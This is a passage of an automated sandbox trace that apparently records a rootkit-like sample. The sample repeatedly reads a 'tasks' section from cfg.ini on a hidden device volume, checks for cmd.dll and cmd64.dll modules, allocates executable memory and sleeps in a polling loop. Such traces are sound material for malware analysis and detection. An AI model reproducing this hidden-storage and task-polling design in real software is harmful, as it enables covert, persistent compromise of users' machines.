_Dest="0d24eb7c\\cfg.ini") returned 16 [0129.622] KeEnterCriticalRegion () [0129.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c25000 [0129.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.622] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.622] IdePortDispatch () returned 0x103 [0129.622] KeWaitForMutexObject () returned 0x0 [0129.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.623] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.623] IdePortDispatch () returned 0x103 [0129.623] KeWaitForMutexObject () returned 0x0 [0129.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.623] KeLeaveCriticalRegion () [0129.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.623] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.624] KeEnterCriticalRegion () [0129.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] KeLeaveCriticalRegion () [0129.624] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.624] KeEnterCriticalRegion () [0129.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06550, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] KeLeaveCriticalRegion () [0129.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.624] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.624] KeEnterCriticalRegion () [0129.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] ExFreePoolWithTag (P=0xfffffa8003c05410, Tag=0x0) [0129.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] KeLeaveCriticalRegion () [0129.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.624] ReleaseMutex (hMutex=0xf0) returned 1 [0129.624] Sleep (dwMilliseconds=0x927c0) [0129.639] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.639] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.639] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.639] KeEnterCriticalRegion () [0129.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.640] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.640] IdePortDispatch () returned 0x103 [0129.640] KeWaitForMutexObject () returned 0x0 [0129.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.640] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.640] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.640] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.640] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.640] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.640] KeLeaveCriticalRegion () [0129.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.640] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.640] KeEnterCriticalRegion () [0129.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.640] KeLeaveCriticalRegion () [0129.640] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.640] KeEnterCriticalRegion () [0129.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.640] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.640] IdePortDispatch () returned 0x103 [0129.640] KeWaitForMutexObject () returned 0x0 [0129.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.641] KeLeaveCriticalRegion () [0129.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.641] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.641] KeEnterCriticalRegion () [0129.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2a000 [0129.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.641] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.641] IdePortDispatch () returned 0x103 [0129.641] KeWaitForMutexObject () returned 0x0 [0129.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.641] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.641] IdePortDispatch () returned 0x103 [0129.641] KeWaitForMutexObject () returned 0x0 [0129.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.641] KeLeaveCriticalRegion () [0129.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.642] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.642] KeEnterCriticalRegion () [0129.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.642] KeLeaveCriticalRegion () [0129.642] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.642] KeEnterCriticalRegion () [0129.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.642] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.642] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06550, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.642] KeLeaveCriticalRegion () [0129.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.642] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.642] KeEnterCriticalRegion () [0129.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.642] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.642] KeLeaveCriticalRegion () [0129.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.643] ReleaseMutex (hMutex=0xf0) returned 1 [0129.643] Sleep (dwMilliseconds=0x927c0) [0129.659] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.659] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.659] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.659] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.659] KeEnterCriticalRegion () [0129.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.659] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.659] IdePortDispatch () returned 0x103 [0129.659] KeWaitForMutexObject () returned 0x0 [0129.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.659] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.659] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.659] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.659] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.659] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05070 [0129.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.660] KeLeaveCriticalRegion () [0129.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.660] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.660] KeEnterCriticalRegion () [0129.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.660] KeLeaveCriticalRegion () [0129.660] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.660] KeEnterCriticalRegion () [0129.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.660] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.660] IdePortDispatch () returned 0x103 [0129.660] KeWaitForMutexObject () returned 0x0 [0129.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.660] KeLeaveCriticalRegion () [0129.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.660] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.660] KeEnterCriticalRegion () [0129.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2f000 [0129.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.660] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.660] IdePortDispatch () returned 0x103 [0129.661] KeWaitForMutexObject () returned 0x0 [0129.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.661] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.661] IdePortDispatch () returned 0x103 [0129.661] KeWaitForMutexObject () returned 0x0 [0129.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.661] KeLeaveCriticalRegion () [0129.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.662] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.662] KeEnterCriticalRegion () [0129.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] KeLeaveCriticalRegion () [0129.662] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.662] KeEnterCriticalRegion () [0129.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.662] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06550, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] KeLeaveCriticalRegion () [0129.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.662] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.662] KeEnterCriticalRegion () [0129.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] ExFreePoolWithTag (P=0xfffffa8003c05070, Tag=0x0) [0129.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] KeLeaveCriticalRegion () [0129.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.662] ReleaseMutex (hMutex=0xf0) returned 1 [0129.662] Sleep (dwMilliseconds=0x927c0) [0129.677] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.677] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.677] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.677] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.677] KeEnterCriticalRegion () [0129.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.678] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.678] IdePortDispatch () returned 0x103 [0129.678] KeWaitForMutexObject () returned 0x0 [0129.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.678] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.678] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.678] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.678] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.678] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.678] KeLeaveCriticalRegion () [0129.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.678] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.678] KeEnterCriticalRegion () [0129.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.678] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.678] KeLeaveCriticalRegion () [0129.678] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.678] KeEnterCriticalRegion () [0129.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.678] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.678] IdePortDispatch () returned 0x103 [0129.678] KeWaitForMutexObject () returned 0x0 [0129.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.679] KeLeaveCriticalRegion () [0129.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.679] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.679] KeEnterCriticalRegion () [0129.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.679] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c34000 [0129.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.679] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.679] IdePortDispatch () returned 0x103 [0129.679] KeWaitForMutexObject () returned 0x0 [0129.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.679] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.679] IdePortDispatch () returned 0x103 [0129.679] KeWaitForMutexObject () returned 0x0 [0129.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.679] KeLeaveCriticalRegion () [0129.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.680] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.680] KeEnterCriticalRegion () [0129.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.680] FsRtlProcessFileLock 